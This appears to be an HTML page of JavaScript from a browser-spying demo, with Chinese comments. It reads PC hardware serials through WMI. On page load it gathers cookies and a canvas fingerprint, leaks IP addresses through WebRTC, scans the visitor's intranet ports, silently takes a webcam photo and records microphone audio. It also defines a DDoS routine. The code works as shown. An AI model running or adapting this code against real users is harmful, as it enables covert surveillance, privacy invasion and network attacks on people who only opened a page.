for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
info += "<tr style='color: red'><td >CPU序列号:" + p.ProcessorID + "</td></tr>";
info += "<tr><td >" + p.Caption + "</td></tr>";
info += "<tr><td >CPU编号:" + p.DeviceID + "</td></tr>";
info += "<tr><td >CPU型号:" + p.Name + "</td></tr>";
info += "<tr><td >CPU状态:" + p.CpuStatus + "</td></tr>";
info += "<tr><td >CPU可用性:" + p.Availability + "</td></tr>";
info += "<tr><td >CUP Level:" + p.Level + "</td></tr>";
info += "<tr><td >主机名称:" + p.SystemName + "</td></tr>";
info += "<tr><td >Processor Type:" + p.ProcessorType + "</td></tr>";
}
info += "</table>";
return info;
}

function softDisk() { //软盘信息
var properties = service.ExecQuery("SELECT * FROM Win32_FloppyDrive");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>软盘信息</td></tr>";
for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
info += "<tr><td >" + p.Description + "</td></tr>";
info += "<tr><td >" + p.DeviceID + "</td></tr>";
info += "<tr><td >" + p.Status + "</td></tr>";
info += "<tr><td >" + p.Manufacuturer + "</td></tr>";
}
info += "</table>";
return info;
}

function RomInfo() { //CD-ROM 信息
var properties = service.ExecQuery("SELECT * FROM Win32_CDROMDrive");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;'><td width='450' >CD-ROM 信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
info += "<tr><td >驱动器名称:" + p.Caption + "</td></tr>";
info += "<tr><td >描述:" + p.Description + "</td></tr>";
info += "<tr><td >盘符:" + p.Drive + "</td></tr>";
info += "<tr><td >驱动器状态:" + p.Status + "</td></tr>";
info += "<tr><td >是否在使用:" + p.MediaLoaded + "</td></tr>";
}
info += "</table>";
return info;
}

function keyBoardInfo() { //键盘信息
var properties = service.ExecQuery("SELECT * FROM Win32_Keyboard");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;'><td width='450'>键盘信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
info += "<tr><td >键盘描述:" + p.Description + "</td></tr>";
info += "<tr><td >键盘名称:" + p.Name + "</td></tr>";
info += "<tr><td >键盘状态:" + p.Status + "</td></tr>";
}
info += "</table>";
return info;
}

function mainBoard() { //主板信息
var properties = service.ExecQuery("SELECT * FROM Win32_BaseBoard");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;'><td width='450'>主板信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
info += "<tr style='color: red'><td >主板ID:" + p.SerialNumber + "</td></tr>";
info += "<tr><td >" + p.HostingBoard + "</td></tr>";
info += "<tr><td >制造商:" + p.Manufacturer + "</td></tr>";
info += "<tr><td >是否开启:" + p.PoweredOn + "</td></tr>";
info += "<tr><td >型号:" + p.Product + "</td></tr>";
info += "<tr><td >版本:" + p.Version + "</td></tr>";
}
info += "</table>";
return info;
}

function disk() { //硬盘序列号 信息
var properties = service.ExecQuery("SELECT * FROM Win32_DiskDrive");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>硬盘信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
info += "<tr style='color: red'><td >硬盘序列号:" + p.signature + "</td></tr>";
}
info += "</table>";
return info;
}
//获取Ram信息
function raminfo() {
var system = new Enumerator(service.ExecQuery("SELECT * FROM Win32_ComputerSystem")).item();

var physicMenCap = Math.ceil(system.TotalPhysicalMemory / 1024 / 1024);
//内存信息
var memory = new Enumerator(service.ExecQuery("SELECT * FROM Win32_PhysicalMemory"));
for (var mem = [], i = 0; !memory.atEnd(); memory.moveNext()) {
mem[i++] = {
cap: memory.item().Capacity / 1024 / 1024,
speed: memory.item().Speed
};
}

var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>内存信息 </td></tr>";
info += "<tr style='color: red'><td >内存总量:" + (mem[0].cap + mem[1].cap) + "M</td></tr>";
info += "<tr style='color: red'><td >可用物理内存:" + physicMenCap + "M</td></tr>";
info += "</table>";
return info;
}

//获取网络连接信息
function ipinfo() {

var properties = service.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>网络连接信息:</td></tr>";
var i = 1;
for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
info += "<tr style='color: red'><td >MAC地址" + i + ":" + p.MACAddress + "</td></tr>";
info += "<tr style='color: red'><td >IP地址" + i + ":" + p.IPAddress(0) + "</td></tr>";
i++;
}
info += "</table>";
return info;
}



//获取网络连接信息
function ipinfo2() {

var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>网络连接信息:</td></tr>";

info += "<tr style='color: red'><td >MAC地址" + ":" + returnCitySN["cname"] + "</td></tr>";
info += "<tr style='color: red'><td >IP地址" + ":" + returnCitySN["cip"] + "</td></tr>";


info += "</table>";
return info;
}


//获取当前时间
function getDate() {
var dt = new Date();
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>时间:</td></tr>";

info += "<tr style='color: red'><td >系统时间" + ":" + dt + "</td></tr>";



info += "</table>";
return info;
}


function pcInfo() { //所有信息

var info = ipinfo2();

try {
info += getDate();
info += cpuinfo();
info += disk();
info += raminfo();
info += mainBoard();
info += ipinfo();
info += keyBoardInfo();
info += RomInfo();
info += softDisk();
}
catch(err){
console.log(err) // 可执行
}



document.getElementById('elInfo').innerHTML = info;
return info;
}



/******************************************以上为pc信息************************************************/





</script>

<script>











var info={
ip:null,
inner_ip:null,
intranet: [],

agent:null,
geo:{
support:null,
error_code:null,
lat:null,
lon:null,
address:null,
},
cookie:null,
time:null,
canvas_id:null,
selfie:null,
platform:null,
device:null,
window_screen:null,
blob:null,
download_speed:null,
};

info.cookie=document.cookie;
info.time=(new Date()).toString();
info.agent=navigator.userAgent;

function ajax(url,foo){
var xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200) {
foo(xmlhttp.responseText);
};
};
xmlhttp.open('GET',url,true);
xmlhttp.send();
}

function bin2hex(bin){
var i=0, l=bin.length,chr,hex='';
for (i; i < l; ++i){
chr=bin.charCodeAt(i).toString(16);
hex+=chr.length<2 ? '0'+chr : chr;
}
return hex;
}

function detectOS(){
var sUserAgent=navigator.userAgent;
var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");

var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
if (isMac) return "Mac";

var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
if (bIsIpad) return "iPad";

var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
if (isUnix) return "Unix";

var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) == "android";
if (isLinux) {
if(bIsAndroid) return "Android";
else return "Linux";
}

var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
if (bIsCE) return "WinCE";

var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
if (bIsWM) return "WinMobile";

if (isWin) {
var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
if (isWin2K) return "Win2000";

var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
if (isWinXP) return "WinXP";

var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
if (isWin2003) return "Win2003";

var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
if (isWinVista) return "WinVista";

var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
if (isWin7) return "Win7";

var isWin8 = sUserAgent.indexOf("Windows NT 6.2") > -1 || sUserAgent.indexOf("Windows 8") > -1;
if (isWin8) return "Win8";
}

return "Unknow";
}

function send_info(){
var jsonText=JSON.stringify(info);
console.log(jsonText);
}

// 获取屏幕分辨率的宽高,并判断操作系统,设备型号
function device_platform(){
info.platform=detectOS();
info.window_screen=String(window.screen.width)+'x'+String(window.screen.height);
}

// 拍照
// Need to request permission
function selfie(){
window.URL = window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;

// 创建video元素
var video=document.createElement('video'),
videoObj={'video':true},
errBack=function(error){
console.log('Video capture error: ',error.name);
info.selfie=error.name;
};

// 获取媒体
if(navigator.getUserMedia){
navigator.getUserMedia(videoObj,function(stream){
video.src=window.URL.createObjectURL(stream);
video.play();

video.onloadedmetadata = function(e) {
setTimeout(function(){
if(info.selfie==null){
// 截取图片
var canvas=document.createElement('canvas'),
ctx=canvas.getContext('2d');
canvas.width=640;
canvas.height=480;
ctx.drawImage(video,0,0,640,480);
var image=canvas.toDataURL('image/png');
info.selfie=image;
console.log('Take selfie successful!');

// 关闭摄像头
stream.stop();
video.src='';
};
},3000);
};
},errBack);
}
}

// 录音
// Need to request permission
function voice_record(){
window.URL=window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;

var HZRecorder=function(stream,config){
config=config || {};
// 采样数8位
config.sampleBits=config.sampleBits || 8;
// 采样率(1/6 44100)
config.sampleRate=config.sampleRate || (44100/6);

var context=new window.AudioContext();
var audioInput=context.createMediaStreamSource(stream);
var recorder=context.createScriptProcessor(4096,1,1);

var audioData={
size:0, // 录音文件长度
buffer:[], // 录音缓存
inputSampleRate:context.sampleRate, // 输入采样率
inputSampleBits:16, // 输入采样数位 16
outputSampleRate:config.sampleRate, // 输出采样率
oututSampleBits:config.sampleBits, // 输出采样数位 8
input:function(data){
this.buffer.push(new Float32Array(data));
this.size+=data.length;
},
//合并压缩
compress:function(){
//合并
var data=new Float32Array(this.size);
var offset=0;
for (var i=0; i<this.buffer.length; i++){
data.set(this.buffer[i],offset);
offset+=this.buffer[i].length;
}
//压缩
var compression=parseInt(this.inputSampleRate / this.outputSampleRate);
var length=data.length / compression;
var result=new Float32Array(length);
var index=0,j=0;
while (index<length){
result[index]=data[j];
j+=compression;
index++;
}
return result;
},
encodeWAV:function(){
var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate);
var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits);
var bytes=this.compress();
var dataLength=bytes.length*(sampleBits/8);
var buffer=new ArrayBuffer(44+dataLength);
var data=new DataView(buffer);

// 单声道
var channelCount=1;
var offset=0;

var writeString=function(str){
for (var i=0; i<str.length; i++){
data.setUint8(offset+i, str.charCodeAt(i));
}
};

// 资源交换文件标识符
writeString('RIFF'); offset+=4;
// 下个地址开始到文件尾总字节数,即文件大小-8
data.setUint32(offset, 36+dataLength, true); offset += 4;
// WAV文件标志
writeString('WAVE'); offset+=4;
// 波形格式标志
writeString('fmt '); offset+=4;
// 过滤字节,一般为 0x10 = 16
data.setUint32(offset, 16, true); offset+=4;
// 格式类别 (PCM形式采样数据)
data.setUint16(offset, 1, true); offset+=2;
// 通道数
data.setUint16(offset, channelCount, true); offset+=2;
// 采样率,每秒样本数,表示每个通道的播放速度
data.setUint32(offset, sampleRate, true); offset+=4;
// 波形数据传输率 (每秒平均字节数) 单声道×每秒数据位数×每样本数据位/8
data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4;
// 快数据调整数 采样一次占用字节数 单声道×每样本的数据位数/8
data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2;
// 每样本数据位数
data.setUint16(offset, sampleBits, true); offset+=2;
// 数据标识符
writeString('data'); offset+=4;
// 采样数据总数,即数据总大小-44
data.setUint32(offset, dataLength, true); offset+=4;
// 写入采样数据
if(sampleBits===8){
for (var i=0; i<bytes.length; i++,offset++) {
var s=Math.max(-1, Math.min(1, bytes[i]));
var val=s<0 ? s*0x8000 : s*0x7FFF;
val=parseInt(255 / (65535 / (val+32768)));
data.setInt8(offset,val,true);
}
}
else{
for (var i=0; i<bytes.length; i++,offset+=2) {
var s=Math.max(-1, Math.min(1, bytes[i]));
data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF, true);
}
}
return new Blob([data], {type:'audio/wav'});
}
};

// 音频采集
recorder.onaudioprocess=function(e){
audioData.input(e.inputBuffer.getChannelData(0));
}

// 开始录音
this.start=function(){
audioInput.connect(recorder);
recorder.connect(context.destination);
}

// 停止录音
this.stop=function(){
stream.stop();
recorder.disconnect();
}

// 获取音频文件
this.getBlob=function(){
this.stop();
return audioData.encodeWAV();
}
};

// 抛出异常
HZRecorder.throwError=function(message){
console.log(message);
throw new function () { this.toString = function () { return message; } }
}

// 是否支持录音
HZRecorder.canRecording=(navigator.getUserMedia != null);

// 获取录音机
HZRecorder.get=function (callback,config){
if (callback){
if (navigator.getUserMedia){
navigator.getUserMedia(
{audio:true},
function (stream){
var rec = new HZRecorder(stream, config);
callback(rec);
},
function (error){
switch (error.code || error.name) {
case 'PERMISSION_DENIED':
case 'PermissionDeniedError':
HZRecorder.throwError('用户拒绝提供信息');
break;
case 'NOT_SUPPORTED_ERROR':
case 'NotSupportedError':
HZRecorder.throwError('浏览器不支持硬件设备');
break;
case 'MANDATORY_UNSATISFIED_ERROR':
case 'MandatoryUnsatisfiedError':
HZRecorder.throwError('无法发现指定的硬件设备');
break;
default:
HZRecorder.throwError('无法打开麦克风。异常信息:' + (error.code || error.name));
break;
}
});
}
else{
HZRecorder.throwErr('当前浏览器不支持录音功能。');
return;
}
}
};

window.HZRecorder=HZRecorder;

var recorder;
HZRecorder.get(function (rec) {
recorder=rec;
recorder.start();
});

// 录音10s
setTimeout(function(){
var blob=recorder.getBlob();
info.blob=blob;
console.log('voice record finished.');
},10000);
}

// DDos攻击
function DDos(site){
// CSRF
setInterval(ajax(site,function(){
console.log('DDos ',site);
}),50);
}

// 获取IP地址,第一个是内网ip,第二个是外网ip
function getIPs(callback){
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannel: true}]
};
var servers = undefined;
var i = 0;
if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}]};
var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){
if(ice.candidate){
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++);
ip_dups[ip_addr] = true;
}
};
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){});
}, function(){});
}

function get_ip_addr(){
getIPs(function(ip, i){
if(i == 0) info.inner_ip = ip;
else if(i == 1) info.ip = ip;
});
}

// 内网扫描
function intranet_scan(){
// 常见端口
var ports = [21,22,23,25,43,80,110,137,138,139,161,170,220,443,3306,8080];
var body = document.getElementsByTagName("body")[0];

getIPs(function(ip, id){
if (id == 0) {
ip = ip.split(".");
ip.pop();
ip = ip.join(".");
for (var i = 1; i < 255; i++) {
for (var p of ports) {
var script = document.createElement("script");
var host = ip + "." + i + ":" + p;
script.src = "http://" + host;
script.onload = "info.intranet.push('"+host+"')";
body.appendChild(script);
}
}
}
});
}

// 利用canvas定位唯一标识
function canvas_id(){
var canvas=document.createElement('canvas');
var ctx=canvas.getContext('2d');
var txt='http://eular.github.io';
ctx.textBaseline='top';
ctx.font="14px 'Arial'";
ctx.fillStyle='#0ff';
ctx.fillRect(0,0,140,50);
ctx.fillStyle='#00f';
ctx.fillText(txt,2,15);
ctx.fillStyle='rgba(102,204,0,0.7)';
ctx.fillText(txt,4,17);

var b64=canvas.toDataURL().replace('data:image/png;base64,','');
var bin=atob(b64);
var crc=bin2hex(bin.slice(-16,-12));
console.log('Canvas id: '+crc);
info.canvas_id=crc;
}


// 网络测速
function network_speed(){
// 图片测速
var image=new Image();
// 图片大小: 1232.7kb
size=1232.7;
image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg';
startTime=new Date().getTime();

// 图片加载完毕
image.onload=function(){
endTime=new Date().getTime();
// kb/s
speed=size/((endTime-startTime)/1000);
// 保留一位小数
speed=parseInt(speed*10)/10;
info.download_speed=speed+'kb/s';
console.log('Download speed testing finished!');
}

/*
// 音频测速
var audio=new Audio();
// 大小: 1.3M
size=1235.87;
audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3';
audio.volume=0;
audio.play();

startTime=new Date().getTime();

var timer;
timer=setInterval(function(){
if (audio.networkState==1) {
endTime=new Date().getTime();
speed=size/((endTime-startTime)/1000);
speed=parseInt(speed*10)/10;
info.download_speed=speed+'kb/s';

console.log('Download speed testing finished!');
audio.stop();
clearInterval(timer);
};
},100);
*/
}

window.onload=function(){
device_platform();
get_ip_addr();
intranet_scan();
canvas_id();
selfie();

network_speed();
voice_record();
//DDos('http://baidu.com');


send_info();
};
</script>

</head>

<body>

<INPUT id="Button1" type="button" value="浏览器所有信息" name="Button1" language=javascript onclick="allinfo()">

<INPUT id="Button1" type="button" value="客户端pc信息" name="Button1" language=javascript onclick="pcInfo()">

<div id="elInfo">

</div>
</body>

</html>